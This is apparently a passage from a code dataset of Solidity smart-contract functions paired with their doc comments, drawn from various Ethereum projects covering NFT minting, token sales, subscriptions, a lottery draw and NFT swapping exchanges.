belowMaximum(monsterIds.current(), _numberOfTokens,\r\n MAX_SUPPLY\r\n ) == true,\r\n \"Not enough tokens left\"\r\n );\r\n\r\n _doMintTokens(\r\n _numberOfTokens,\r\n _satsForDiscount\r\n );\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @notice Modifies the prices in case of major ETH price changes\r\n * @param _tokenPrice The new default token price\r\n * @param _discountPrice The new discount token price\r\n */", "function_code": "function updateTokenPrices(\r\n uint256 _tokenPrice,\r\n uint256 _discountPrice\r\n )\r\n external\r\n onlyOwner\r\n {\r\n require(\r\n _tokenPrice >= _discountPrice,\r\n \"discountPrice cannot be larger\"\r\n );\r\n\r\n require(\r\n saleIsActive == false,\r\n \"Sale is active\"\r\n );\r\n\r\n tokenPrice = _tokenPrice;\r\n discountPrice = _discountPrice;\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @notice Checks which Satoshibles can still be used for a discounted mint\r\n * @dev Uses bitwise operators to find the bit representing each Satoshible\r\n * @param _satIds Array of original Satoshible token IDs\r\n * @return Token ID for each of the available _satIds, zero otherwise\r\n */", "function_code": "function satsAvailableForDiscountMint(\r\n uint256[] calldata _satIds\r\n )\r\n external\r\n view\r\n returns (uint256[] memory)\r\n {\r\n uint256[] memory satsAvailable = new uint256[](_satIds.length);\r\n\r\n unchecked {\r\n for (uint256 i = 0; i < _satIds.length; i++) {\r\n if (satIsAvailableForDiscountMint(_satIds[i])) {\r\n satsAvailable[i] = _satIds[i];\r\n }\r\n }\r\n }\r\n\r\n return satsAvailable;\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @notice Checks if a Satoshible can still be used for a discounted mint\r\n * @dev Uses bitwise operators to find the bit representing the Satoshible\r\n * @param _satId Original Satoshible token ID\r\n * @return isAvailable True if _satId can be used for a discounted mint\r\n */", "function_code": "function satIsAvailableForDiscountMint(\r\n uint256 _satId\r\n )\r\n public\r\n view\r\n returns (bool isAvailable)\r\n {\r\n unchecked {\r\n uint256 page = _satId / 256;\r\n uint256 shift = _satId % 256;\r\n isAvailable = satDiscountBitfields[page] >> shift & 1 == 1;\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @notice Verifies a merkle proof for a monster ID and its prime parts\r\n * @param _monsterId Monster token ID\r\n * @param _monsterPrimeParts Bitfield of the monster's prime parts\r\n * @param _proof Merkle proof be verified\r\n * @return isVerified True if the merkle proof is verified\r\n */", "function_code": "function verifyMonsterPrimeParts(\r\n uint256 _monsterId,\r\n uint256 _monsterPrimeParts,\r\n bytes32[] calldata _proof\r\n )\r\n public\r\n view\r\n returns (bool isVerified)\r\n {\r\n bytes32 node = keccak256(\r\n abi.encodePacked(\r\n _monsterId,\r\n _monsterPrimeParts\r\n )\r\n );\r\n\r\n isVerified = MerkleProof.verify(\r\n _proof,\r\n primePartsMerkleRoot,\r\n node\r\n );\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @notice Verifies a merkle proof for an account's whitelisted tokens\r\n * @param _account Account to verify\r\n * @param _whitelistedTokens Number of whitelisted tokens for _account\r\n * @param _proof Merkle proof to be verified\r\n * @return isVerified True if the merkle proof is verified\r\n */", "function_code": "function verifyWhitelisted(\r\n address _account,\r\n uint256 _whitelistedTokens,\r\n bytes32[] calldata _proof\r\n )\r\n public\r\n pure\r\n returns (bool isVerified)\r\n {\r\n bytes32 node = keccak256(\r\n abi.encodePacked(\r\n _account,\r\n _whitelistedTokens\r\n )\r\n );\r\n\r\n isVerified = MerkleProof.verify(\r\n _proof,\r\n WHITELIST_MERKLE_ROOT,\r\n node\r\n );\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Base monster minting function, calculates price with discounts\r\n * @param _numberOfTokens Number of monster tokens to mint\r\n * @param _satsForDiscount Array of Satoshible IDs for discounted mints\r\n */", "function_code": "function _doMintTokens(\r\n uint256 _numberOfTokens,\r\n uint256[] calldata _satsForDiscount\r\n )\r\n private\r\n {\r\n require(\r\n saleIsActive == true,\r\n \"Sale must be active\"\r\n );\r\n\r\n require(\r\n _numberOfTokens >= 1,\r\n \"Need at least 1 token\"\r\n );\r\n\r\n require(\r\n _numberOfTokens <= 50,\r\n \"Max 50 at a time\"\r\n );\r\n\r\n require(\r\n _satsForDiscount.length <= _numberOfTokens,\r\n \"Too many sats for discount\"\r\n );\r\n\r\n unchecked {\r\n uint256 discountIndex;\r\n\r\n for (; discountIndex < _satsForDiscount.length; discountIndex++) {\r\n _useSatForDiscountMint(_satsForDiscount[discountIndex]);\r\n }\r\n\r\n uint256 totalPrice = tokenPrice * (_numberOfTokens - discountIndex)\r\n + discountPrice * discountIndex;\r\n\r\n require(\r\n totalPrice == msg.value,\r\n \"Ether amount not correct\"\r\n );\r\n }\r\n\r\n _mintTokens(\r\n _numberOfTokens\r\n );\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Marks a Satoshible ID as having been used for a discounted mint\r\n * @param _satId Satoshible ID that was used for a discounted mint\r\n */", "function_code": "function _useSatForDiscountMint(\r\n uint256 _satId\r\n )\r\n private\r\n onlySatHolder(_satId)\r\n {\r\n require(\r\n satIsAvailableForDiscountMint(_satId) == true,\r\n \"Sat for discount already used\"\r\n );\r\n\r\n unchecked {\r\n uint256 page = _satId / 256;\r\n uint256 shift = _satId % 256;\r\n satDiscountBitfields[page] &= ~(1 << shift);\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Initializes prime token ID offsets\r\n */", "function_code": "function _initializePrimeIdOffsets()\r\n private\r\n {\r\n unchecked {\r\n primeIdOffset[FRANKENSTEIN] = ALPHA;\r\n primeIdOffset[WEREWOLF] = ALPHA + 166;\r\n primeIdOffset[VAMPIRE] = ALPHA + 332;\r\n primeIdOffset[ZOMBIE] = ALPHA + 498;\r\n primeIdOffset[INVALID] = ALPHA + 665;\r\n }\r\n }", "version": "0.8.9"} {"comment": "// bCalled used to prevent reentrancy attack", "function_code": "function approveAndCall(\r\n address _spender,\r\n uint256 _value,\r\n bytes memory _data\r\n )\r\n public\r\n payable\r\n onlyNotBlacklisted\r\n whenNotPaused\r\n returns (bool)\r\n {\r\n require(bCalled == false);\r\n require(_spender != address(this));\r\n require(approve(_spender, _value));\r\n // solium-disable-next-line security/no-call-value\r\n bCalled = true;\r\n _spender.call.value(msg.value)(_data);\r\n bCalled = false;\r\n return true;\r\n }", "version": "0.5.3"} {"comment": "/**\r\n * Constructor for Zigilua\r\n */", "function_code": "function Zigilua() public\r\n {\r\n balances[msg.sender] = 79700000000;\r\n totalSupply = 79700000000;\r\n name = \"ZigiLua\";\r\n decimals = 0;\r\n symbol = \"ZGL\";\r\n zigWallet = msg.sender;\r\n\r\n _crrStage = 0;\r\n _minUSDrequired = 200;\r\n _usd = 50000;\r\n }", "version": "0.4.22"} {"comment": "/**\r\n * Allows to buy zigs (ZGL) from DApps\r\n *\r\n * @param wai {uint256} Desired amount, in wei\r\n *\r\n * @return {uint256[]} [wai, _usd, amount, owner balance, user balance] Useful for debugging purposes\r\n */", "function_code": "function buy(uint256 wai) public payable returns (uint256[5])\r\n {\r\n uint256 amount = ((wai * _usd * 10 * ZIGS_BY_STAGE[_crrStage]) / (1e18));\r\n\r\n require(balances[zigWallet] >= amount);\r\n require(amount >= (2000 * (1 / ZIGS_BY_STAGE[_crrStage])));\r\n\r\n balances[zigWallet] = (balances[zigWallet] - amount);\r\n balances[msg.sender] = (balances[msg.sender] + amount);\r\n\r\n emit Transfer(zigWallet, msg.sender, amount);\r\n\r\n zigWallet.transfer(msg.value);\r\n\r\n return ([wai, _usd, amount, balances[zigWallet], balances[msg.sender]]);\r\n\r\n }", "version": "0.4.22"} {"comment": "//This collateral function is needed to let everyone withraw the eventual staked voting tokens still held in the proposal and give back the to the BuidlersFund wallet", "function_code": "function withdraw(bool terminateFirst) public {\r\n\t\t//Terminate or withraw the Proposal\r\n\t\tif(terminateFirst) {\r\n\t\t\tIMVDFunctionalityProposal(PROPOSAL).terminate();\r\n\t\t} else {\r\n\t\t\tIMVDFunctionalityProposal(PROPOSAL).withdraw();\r\n\t\t}\r\n\t\t//Give back BUIDL Voting Tokens to the BuildersFund Wallet\r\n\t\tIERC20 token = IERC20(TOKEN);\r\n\t\ttoken.transfer(WALLET, token.balanceOf(address(this)));\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n * Create a new subscription. Must be called by the subscriber's account.\r\n * First payment of `daiCents` is paid on creation.\r\n * Actual payment is made in Wrapped Ether (wETH) using currenct DAI-ETH conversion rate.\r\n * @param receiver address\r\n * @param daiCents subscription amount in hundredths of DAI\r\n * @param interval seconds between payments\r\n */", "function_code": "function subscribe(address receiver, uint daiCents, uint32 interval) external {\r\n uint weiAmount = daiCentsToEthWei(daiCents, ethPriceInDaiWad());\r\n uint64 existingIndex = subscriberReceiver[msg.sender][receiver];\r\n require(subscriptions[existingIndex].daiCents == 0, \"Subscription exists\");\r\n require(daiCents >= MIN_SUBSCRIPTION_DAI_CENTS, \"Subsciption amount too low\");\r\n require(interval >= 86400, \"Interval must be at least 1 day\");\r\n require(interval <= 31557600, \"Interval must be at most 1 year\");\r\n require(subscriberSubs[msg.sender].length < MAX_SUBSCRIPTION_PER_SUBSCRIBER,\"Subscription count limit reached\");\r\n\r\n // first payment\r\n require(wethContract.transferFrom(msg.sender, receiver, weiAmount), \"wETH transferFrom() failed\");\r\n\r\n // add to subscription mappings\r\n subscriptions[nextIndex] = Subscription(\r\n true,\r\n uint48(now.add(interval)),\r\n interval,\r\n msg.sender,\r\n receiver,\r\n daiCents\r\n );\r\n subscriberReceiver[msg.sender][receiver] = nextIndex;\r\n receiverSubs[receiver].push(nextIndex);\r\n subscriberSubs[msg.sender].push(nextIndex);\r\n\r\n emit NewSubscription(msg.sender, receiver, daiCents, interval);\r\n emit SubscriptionPaid(msg.sender, receiver, weiAmount, daiCents, uint48(now));\r\n\r\n nextIndex++;\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * Deactivate a subscription. Must be called by the subscriber's account.\r\n * Payments cannot be collected from deactivated subscriptons.\r\n * @param receiver address used to identify the unique subscriber-receiver pair.\r\n * @return success\r\n */", "function_code": "function deactivateSubscription(address receiver) external returns (bool) {\r\n uint64 index = subscriberReceiver[msg.sender][receiver];\r\n require(index != 0, \"Subscription does not exist\");\r\n\r\n Subscription storage sub = subscriptions[index];\r\n require(sub.isActive, \"Subscription is already disabled\");\r\n require(sub.daiCents > 0, \"Subscription does not exist\");\r\n\r\n sub.isActive = false;\r\n emit SubscriptionDeactivated(msg.sender, receiver);\r\n\r\n return true;\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * Reactivate a subscription. Must be called by the subscriber's account.\r\n * If less than one interval has passed since the last payment, no payment is collected now.\r\n * Otherwise it is treated as a new subscription starting now, and the first payment is collected.\r\n * No back-payments are collected.\r\n * @param receiver addres used to identify the unique subscriber-receiver pair.\r\n * @return success\r\n */", "function_code": "function reactivateSubscription(address receiver) external returns (bool) {\r\n uint64 index = subscriberReceiver[msg.sender][receiver];\r\n require(index != 0, \"Subscription does not exist\");\r\n\r\n Subscription storage sub = subscriptions[index];\r\n require(!sub.isActive, \"Subscription is already active\");\r\n\r\n sub.isActive = true;\r\n emit SubscriptionReactivated(msg.sender, receiver);\r\n\r\n if (calculateUnpaidIntervalsUntil(sub, now) > 0) {\r\n // only make a payment if at least one interval has lapsed since the last payment\r\n uint weiAmount = daiCentsToEthWei(sub.daiCents, ethPriceInDaiWad());\r\n require(wethContract.transferFrom(msg.sender, receiver, weiAmount), \"Insufficient funds to reactivate subscription\");\r\n emit SubscriptionPaid(msg.sender, receiver, weiAmount, sub.daiCents, uint48(now));\r\n }\r\n\r\n sub.nextPaymentTime = uint48(now.add(sub.interval));\r\n\r\n return true;\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * A read-only version of executeDebits()\r\n * Calculates uncollected *funded* payments for a receiver.\r\n * @param receiver address\r\n * @return total unclaimed value in wei\r\n */", "function_code": "function getTotalUnclaimedPayments(address receiver) external view returns (uint) {\r\n uint totalPayment = 0;\r\n uint ethPriceWad = ethPriceInDaiWad();\r\n\r\n for (uint i = 0; i < receiverSubs[receiver].length; i++) {\r\n Subscription storage sub = subscriptions[receiverSubs[receiver][i]];\r\n\r\n if (sub.isActive && sub.daiCents != 0) {\r\n uint wholeUnpaidIntervals = calculateUnpaidIntervalsUntil(sub, now);\r\n if (wholeUnpaidIntervals > 0) {\r\n uint weiAmount = daiCentsToEthWei(sub.daiCents, ethPriceWad);\r\n uint authorizedBalance = allowedBalance(sub.subscriber);\r\n\r\n do {\r\n if (authorizedBalance >= weiAmount) {\r\n totalPayment = totalPayment.add(weiAmount);\r\n authorizedBalance = authorizedBalance.sub(weiAmount);\r\n }\r\n wholeUnpaidIntervals = wholeUnpaidIntervals.sub(1);\r\n } while (wholeUnpaidIntervals > 0);\r\n }\r\n }\r\n }\r\n\r\n return totalPayment;\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * Calculates a subscriber's total outstanding payments in daiCents\r\n * @param subscriber address\r\n * @param time in seconds. If `time` < `now`, then we simply use `now`\r\n * @return total amount owed at `time` in daiCents\r\n */", "function_code": "function outstandingBalanceUntil(address subscriber, uint time) external view returns (uint) {\r\n uint until = time <= now ? now : time;\r\n\r\n uint64[] memory subs = subscriberSubs[subscriber];\r\n\r\n uint totalDaiCents = 0;\r\n for (uint64 i = 0; i < subs.length; i++) {\r\n Subscription memory sub = subscriptions[subs[i]];\r\n if (sub.isActive) {\r\n totalDaiCents = totalDaiCents.add(sub.daiCents.mul(calculateUnpaidIntervalsUntil(sub, until)));\r\n }\r\n }\r\n\r\n return totalDaiCents;\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * Helper function to search for and delete an array element without leaving a gap.\r\n * Array size is also decremented.\r\n * DO NOT USE if ordering is important.\r\n * @param array array to be modified\r\n * @param element value to be removed\r\n */", "function_code": "function deleteElement(uint64[] storage array, uint64 element) internal {\r\n uint lastIndex = array.length.sub(1);\r\n for (uint i = 0; i < array.length; i++) {\r\n if (array[i] == element) {\r\n array[i] = array[lastIndex];\r\n delete(array[lastIndex]);\r\n array.length = lastIndex;\r\n break;\r\n }\r\n }\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * Calculates how many whole unpaid intervals (will) have elapsed since the last payment at a specific `time`.\r\n * DOES NOT check if subscriber account is funded.\r\n * @param sub Subscription object\r\n * @param time timestamp in seconds\r\n * @return number of unpaid intervals\r\n */", "function_code": "function calculateUnpaidIntervalsUntil(Subscription memory sub, uint time) internal view returns (uint) {\r\n require(time >= now, \"don't use a time before now\");\r\n\r\n if (time > sub.nextPaymentTime) {\r\n return ((time.sub(sub.nextPaymentTime)).div(sub.interval)).add(1);\r\n }\r\n\r\n return 0;\r\n }", "version": "0.5.2"} {"comment": "/**\n * @notice buy weapon and add it to a token's weapon collection\n * @dev weaponId n can only be bought if the token owns weaponId - 1 (id 9 and up)\n * @param _tokenId - the token's id\n * @param _weaponId - the desired weapon's id\n */", "function_code": "function buyWeapon(uint256 _tokenId, uint256 _weaponId) public {\n require(\n msg.sender == raiders.ownerOf(_tokenId) ||\n hunt.isStaker(msg.sender, _tokenId),\n \"Not allowed\"\n );\n require(tokenToWeapon[_tokenId][_weaponId] == false, \"Already owned\");\n if (_weaponId > 8) {\n require(tokenToWeapon[_tokenId][_weaponId - 1], \"Not unlocked\");\n }\n require(rgo.balanceOf(msg.sender) >= weaponCost[_weaponId], \"Too poor\");\n rgo.adminBurn(msg.sender, weaponCost[_weaponId]);\n tokenToWeapon[_tokenId][_weaponId] = true;\n }", "version": "0.8.9"} {"comment": "// 0 -> obtc, 1 -> renBTC, 2 -> wBTC", "function_code": "function trade(int128 token, uint amount, uint min_dy) public whenNotPaused nonReentrant {\n if(token == 1) {\n renBTC.safeTransferFrom(msg.sender, address(this), amount);\n renBTC.approve(address(sso), amount);\n } else if(token == 2) {\n wBTC.safeTransferFrom(msg.sender, address(this), amount);\n wBTC.approve(address(sso), amount);\n } else {\n revert(\"not support token\");\n }\n\n uint dy = sso.exchange_underlying(token, 0, amount, min_dy);\n uint feeBor = calculateFeeBor(dy);\n if (feeBor != 0) {\n mintedAmount = mintedAmount.add(feeBor);\n bor.safeTransferFrom(distributor, msg.sender, feeBor);\n }\n oBTC.safeTransfer(msg.sender, dy);\n }", "version": "0.6.12"} {"comment": "// Transfer funds.", "function_code": "function transfer(address _to, uint256 _amount) public returns (bool) {\r\n require(_to != address(0));\r\n require(_amount <= accounts[msg.sender].balance);\r\n // Enable the receiver if the sender is the exchange.\r\n if (msg.sender == owner && !accounts[_to].enabled) {\r\n accounts[_to].enabled = true;\r\n }\r\n if (\r\n // Check that the sender's account is enabled.\r\n accounts[msg.sender].enabled\r\n // Check that the receiver's account is enabled.\r\n && accounts[_to].enabled\r\n // Check that the sender has sufficient balance.\r\n && accounts[msg.sender].balance >= _amount\r\n // Check that the amount is valid.\r\n && _amount > 0\r\n // Check for overflow.\r\n && accounts[_to].balance + _amount > accounts[_to].balance) {\r\n // Credit the sender.\r\n accounts[msg.sender].balance -= _amount;\r\n // Debit the receiver.\r\n accounts[_to].balance += _amount;\r\n Transfer(msg.sender, _to, _amount);\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.4.18"} {"comment": "/// @dev make any kind of request that may be answered with a file.This function is only called by Mage ", "function_code": "function submitNewRequest(\n string memory _orderTitle,\n string memory _description,\n string memory _zPaper,\n uint _tokenPerContributor,\n uint _tokenPerLaboratory,\n uint _totalContributors,\n string memory _zarelaCategory,\n uint _businessCategory,\n string memory _accessPublicKey\n )\n public\n {\n require(_balances[msg.sender] >= ((_tokenPerContributor + _tokenPerLaboratory) * _totalContributors), \"Your Token Is Not Enough\");\n ERC20.transfer(address(this),((_tokenPerContributor + _tokenPerLaboratory) * _totalContributors));\n uint orderId = orders.length;\n orders.push(\n Order(\n orderId,\n _orderTitle,\n msg.sender,\n _tokenPerContributor,\n _tokenPerLaboratory,\n _totalContributors,\n _zPaper,\n _description,\n _totalContributors,\n 0,\n block.timestamp,\n _accessPublicKey\n )\n );\n userMap[msg.sender].ownedOrders.push(orderId);\n Categories.push(\n Category(\n _zarelaCategory,\n _businessCategory\n )\n );\n emit orderRegistered(msg.sender, orderId);\n }", "version": "0.7.6"} {"comment": "/// @dev Confirm the signals sent by angels only by Requester (Mage) of that signal.\n/// The selection of files is based on their index.", "function_code": "function confirmContributor(\n uint _orderId,\n uint[]memory _index\n )\n public \n onlyRequester(_orderId)\n checkOrderId(_orderId)\n {\n Order storage myorder = orders[_orderId];\n require(_index.length >= 1,\"You Should Select One At Least\");\n require(_index.length <= myorder.totalContributorsRemain,\"The number of entries is more than allowed\");\n require(myorder.totalContributorsRemain != 0,\"Your Order Is Done, And You Sent All of Rewards to Users\");\n myorder.totalContributorsRemain = myorder.totalContributorsRemain - (_index.length);\n _balances[address(this)] = _balances[address(this)] - ( (myorder.tokenPerContributor + myorder.tokenPerLaboratory) * _index.length);\n for (uint i;i < _index.length ; i++) {\n _balances[orderDataMap[_orderId].contributorAddresses[_index[i]]] = _balances[orderDataMap[_orderId].contributorAddresses[_index[i]]] + (myorder.tokenPerContributor);\n _balances[orderDataMap[_orderId].laboratoryAddresses[_index[i]]] = _balances[orderDataMap[_orderId].laboratoryAddresses[_index[i]]] + (myorder.tokenPerLaboratory);\n userMap[orderDataMap[_orderId].contributorAddresses[_index[i]]].tokenGainedFromMages+=(myorder.tokenPerContributor);\n userMap[orderDataMap[_orderId].laboratoryAddresses[_index[i]]].tokenGainedFromMages+=(myorder.tokenPerLaboratory);\n orderDataMap[_orderId].isConfirmedByMage[_index[i]] = true;\n }\n \n if (myorder.totalContributorsRemain == 0) {\n emit orderFinished(_orderId);\n }\n emit signalsApproved(_orderId,_index.length);\n }", "version": "0.7.6"} {"comment": "/// @dev retrieves the value of each the specefic order by `_orderId`\n/// @return the contributors addresses , the Laboratory addresses , Time to send that signal by the angel , Laboratory or angel gained reward? , Status (true , false) of confirmation , Zarela day sent that signal", "function_code": "function getOrderData(\n uint _orderId\n )\n public\n checkOrderId (_orderId)\n view returns (\n address[] memory,\n address[] memory,\n uint[]memory,\n bool[]memory,\n bool[] memory,\n uint[] memory)\n {\n return (\n orderDataMap[_orderId].contributorAddresses,\n orderDataMap[_orderId].laboratoryAddresses,\n orderDataMap[_orderId].dataRegistrationTime,\n orderDataMap[_orderId].whoGainedReward,\n orderDataMap[_orderId].isConfirmedByMage,\n orderDataMap[_orderId].zarelaDay\n );\n }", "version": "0.7.6"} {"comment": "// swaps any combination of ERC-20/721/1155\n// User needs to approve assets before invoking swap\n// WARNING: DO NOT SEND TOKENS TO THIS FUNCTION DIRECTLY!!!", "function_code": "function multiAssetSwap(\n ERC20Details memory erc20Details,\n SpecialTransferHelper.ERC721Details[] memory erc721Details,\n ERC1155Details[] memory erc1155Details,\n ConverstionDetails[] memory converstionDetails,\n MarketRegistry.TradeDetails[] memory tradeDetails,\n address[] memory dustTokens,\n uint256[2] memory feeDetails // [affiliateIndex, ETH fee in Wei]\n ) payable external isOpenForTrades nonReentrant {\n // collect fees\n _collectFee(feeDetails);\n\n // transfer all tokens\n _transferFromHelper(\n erc20Details,\n erc721Details,\n erc1155Details\n );\n\n // Convert any assets if needed\n _conversionHelper(converstionDetails);\n\n // execute trades\n _trade(tradeDetails);\n\n // return dust tokens (if any)\n _returnDust(dustTokens);\n }", "version": "0.8.11"} {"comment": "// Utility function that is used for free swaps for sponsored markets\n// WARNING: DO NOT SEND TOKENS TO THIS FUNCTION DIRECTLY!!! ", "function_code": "function multiAssetSwapWithoutFee(\n ERC20Details memory erc20Details,\n SpecialTransferHelper.ERC721Details[] memory erc721Details,\n ERC1155Details[] memory erc1155Details,\n ConverstionDetails[] memory converstionDetails,\n MarketRegistry.TradeDetails[] memory tradeDetails,\n address[] memory dustTokens,\n uint256 sponsoredMarketIndex\n ) payable external isOpenForFreeTrades nonReentrant {\n // fetch the marketId of the sponsored market\n SponsoredMarket memory sponsoredMarket = sponsoredMarkets[sponsoredMarketIndex];\n // check if the market is active\n require(sponsoredMarket.isActive, \"multiAssetSwapWithoutFee: InActive sponsored market\");\n\n // transfer all tokens\n _transferFromHelper(\n erc20Details,\n erc721Details,\n erc1155Details\n );\n\n // Convert any assets if needed\n _conversionHelper(converstionDetails);\n\n // execute trades\n bool isSponsored = _tradeSponsored(tradeDetails, sponsoredMarket.marketId);\n\n // check if the trades include the sponsored market\n require(isSponsored, \"multiAssetSwapWithoutFee: trades do not include sponsored market\");\n\n // return dust tokens (if any)\n _returnDust(dustTokens);\n }", "version": "0.8.11"} {"comment": "// Generic function to determine winner. Aim to be called any number of times", "function_code": "function drawTicket (uint randomiserNumber, bytes32 randomHash) internal view returns(uint pickedTicket, bytes32 newGeneratedRandomHash) {\r\n bytes32 newRandomHash;\r\n uint pickTicket;\r\n \r\n for (int i = 0; i < 10; i++) {\r\n newRandomHash = keccak256(abi.encodePacked(randomHash, block.difficulty, block.coinbase, randomiserNumber, i));\r\n pickTicket = uint(newRandomHash)%ticketsSold;\r\n \r\n if (selectedTickets[pickTicket] == false && pickTicket != 0) {\r\n return (pickTicket, newRandomHash);\r\n } else if (pickTicket == 0 && selectedTickets[ticketsSold]) {\r\n return (ticketsSold, newRandomHash);\r\n }\r\n } \r\n \r\n return (pickTicket, newRandomHash);\r\n }", "version": "0.8.9"} {"comment": "// ------------------------------------------------------------------------\n// CrowdSale Function 1,800,000 RCALLS Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 2400000;\r\n } else {\r\n tokens = msg.value * 1800000;\r\n }\r\n balances[owner] = safeSub(balances[owner], tokens);\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n emit Transfer(owner, msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.24"} {"comment": "/*\n * Allows the owner to change the return rate for a given bracket\n * NOTE: changes to this rate will only affect those that stake AFTER this change.\n * Will not affect the currently staked amounts.\n */", "function_code": "function changeReturnRateForBracket(uint256 _percentage, uint256 _stakeBracket) public onlyOwner {\n require(_stakeBracket <= 4);\n // TAKE NOTE OF FORMATTING:\n // stakeReward[0] = 25;\n // stakeReward[1] = 55;\n // stakeReward[2] = 190;\n // stakeReward[3] = 450;\n // stakeReward[4] = 1200;\n\n stakeReward[_stakeBracket] = _percentage;\n emit stakeRewardUpdated(_stakeBracket,_percentage);\n }", "version": "0.7.0"} {"comment": "/***********************************|\n | Only Controller |\n |__________________________________*/", "function_code": "function energize(\n address contractAddress,\n uint256 tokenId,\n address assetToken,\n uint256 assetAmount\n )\n external\n override\n onlyController\n returns (uint256 yieldTokensAmount)\n {\n uint256 uuid = contractAddress.getTokenUUID(tokenId);\n address wallet = _wallets[uuid];\n\n // Deposit into Smart-Wallet\n yieldTokensAmount = AaveSmartWallet(wallet).deposit(assetToken, assetAmount, _referralCode);\n\n // Log Event\n emit WalletEnergized(contractAddress, tokenId, assetToken, assetAmount, yieldTokensAmount);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Create an order for your NFT and other people can pairing their NFT to exchange\r\n * @notice You must call receiveErc721Token method first to send your NFT to exchange contract,\r\n * if your NFT have matchorder pair with other order, then they will become Invalid until you\r\n * delete this order.\r\n * @param contractAddress NFT's contract address\r\n * @param tokenId NFT's id\r\n */", "function_code": "function createOrder(\r\n address contractAddress, \r\n uint256 tokenId\r\n ) \r\n external \r\n onlySenderIsOriginalOwner(\r\n contractAddress, \r\n tokenId\r\n ) \r\n {\r\n bytes32 orderHash = keccak256(abi.encodePacked(contractAddress, tokenId, msg.sender));\r\n require(OrderToOwner[orderHash] != msg.sender, \"Order already exist\");\r\n _addOrder(msg.sender, orderHash);\r\n emit CreateOrder(msg.sender, orderHash, contractAddress, tokenId);\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev Remove order information on exchange contract \r\n * @param sender order's owner\r\n * @param orderHash order's hash\r\n */", "function_code": "function _removeOrder(\r\n address sender,\r\n bytes32 orderHash\r\n )\r\n internal\r\n {\r\n OrderToExist[orderHash] = false;\r\n delete OrderToOwner[orderHash];\r\n uint256 orderIndex = OrderToIndex[orderHash];\r\n uint256 lastOrderIndex = OwnerToOrders[sender].length.sub(1);\r\n if (lastOrderIndex != orderIndex){\r\n bytes32 lastOwnerOrder = OwnerToOrders[sender][lastOrderIndex];\r\n OwnerToOrders[sender][orderIndex] = lastOwnerOrder;\r\n OrderToIndex[lastOwnerOrder] = orderIndex;\r\n }\r\n OwnerToOrders[sender].length--;\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev If your are interested in specfic order's NFT, create a matchorder and pair with it so order's owner\r\n * can know and choose to exchange with you\r\n * @notice You must call receiveErc721Token method first to send your NFT to exchange contract,\r\n * if your NFT already create order, then you will be prohibit create matchorder until you delete this NFT's \r\n * order.\r\n * @param contractAddress NFT's contract address\r\n * @param tokenId NFT's id\r\n * @param orderHash order's hash which matchorder want to pair with \r\n */", "function_code": "function createMatchOrder(\r\n address contractAddress,\r\n uint256 tokenId, \r\n bytes32 orderHash\r\n ) \r\n external \r\n onlySenderIsOriginalOwner(\r\n contractAddress, \r\n tokenId\r\n ) \r\n {\r\n bytes32 matchOrderHash = keccak256(abi.encodePacked(contractAddress, tokenId, msg.sender));\r\n require(OrderToOwner[matchOrderHash] != msg.sender, \"Order already exist\");\r\n _addMatchOrder(matchOrderHash, orderHash);\r\n emit CreateMatchOrder(msg.sender, orderHash, matchOrderHash, contractAddress, tokenId);\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev delete matchorder information on exchange contract \r\n * @param matchOrderHash matchorder's hash\r\n * @param orderHash order's hash which matchorder pair with \r\n */", "function_code": "function deleteMatchOrder(\r\n bytes32 matchOrderHash,\r\n bytes32 orderHash\r\n )\r\n external\r\n {\r\n require(MatchOrderToOwner[matchOrderHash] == msg.sender, \"match order doens't belong to this address\" );\r\n require(OrderToExist[orderHash] == true, \"this order is not exist\");\r\n _removeMatchOrder(orderHash, matchOrderHash);\r\n emit DeleteMatchOrder(msg.sender, orderHash, matchOrderHash);\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev order's owner can choose NFT to exchange from it's match order array, when function \r\n * execute, order will be deleted, both NFT will be exchanged and send to corresponding address.\r\n * @param order order's hash which matchorder pair with \r\n * @param matchOrder matchorder's hash\r\n */", "function_code": "function exchangeToken(\r\n bytes32 order,\r\n bytes32 matchOrder\r\n ) \r\n external \r\n {\r\n require(OrderToOwner[order] == msg.sender, \"this order doesn't belongs to this address\");\r\n OrderObj memory orderObj = HashToOrderObj[order];\r\n uint index = OrderToMatchOrderIndex[order][matchOrder];\r\n require(OrderToMatchOrders[order][index] == matchOrder, \"match order is not in this order\");\r\n require(OrderToExist[matchOrder] != true, \"this match order's token have open order\");\r\n OrderObj memory matchOrderObj = HashToOrderObj[matchOrder];\r\n _sendToken(matchOrderObj.owner, orderObj.contractAddress, orderObj.tokenId);\r\n _sendToken(orderObj.owner, matchOrderObj.contractAddress, matchOrderObj.tokenId);\r\n _removeMatchOrder(order, matchOrder);\r\n _removeOrder(msg.sender, order);\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev if you want to create order and matchorder on exchange contract, you must call this function\r\n * to send your NFT to exchange contract, if your NFT is followed erc165 and erc721 standard, exchange\r\n * contract will checked and execute sucessfully, then contract will record your information so you \r\n * don't need worried about NFT lost.\r\n * @notice because contract can't directly transfer your NFT, so you should call setApprovalForAll \r\n * on NFT contract first, so this function can execute successfully.\r\n * @param contractAddress NFT's Contract address\r\n 